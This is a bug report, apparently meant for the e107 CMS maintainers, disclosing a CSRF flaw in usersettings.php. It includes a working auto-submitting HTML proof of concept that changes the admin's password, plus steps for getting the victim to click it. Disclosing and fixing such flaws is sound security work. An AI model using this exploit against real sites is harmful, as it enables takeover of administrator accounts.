CSRF vulnerability on e107 CMS

## Bug Description
Hi. I found a CSRF on the e107 CMS. Hacker can change password any user click the link.

## How to Reproduce
Steps to reproduce the behavior:
1. Create a CSRF login POC using the following code.

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Cross Site Request Forgery (Edit Existing Admin details)</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">

function fireForms()
{
    var count = 2;
    var i=0;

    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
    }
}

</script>

<H2>Cross Site Request Forgery (Edit Existing Admin details)</H2>

<form method="POST" name="form0" action="
http://localhost/[path-to-e107-cms]/usersettings.php">

<input type="hidden" name="loginname" value="admin"/>
<input type="hidden" name="email" value="[email]"/>
<input type="hidden" name="password1" value="[password]"/>
<input type="hidden" name="password2" value="[password]"/>
<input type="hidden" name="hideemail" value="1"/>
<input type="hidden" name="image" value=""/>
<input type="hidden" name="signature" value=""/>
<input type="hidden" name="updatesettings" value="Save settings"/>
<input type="hidden" name="_uid" value="2"/>




</form>

</body>
</html>
```


2. Replace the email and password with the valid credentials.
3. Send the link script to the victim (admin) to make them click.
4. Login with new admin password
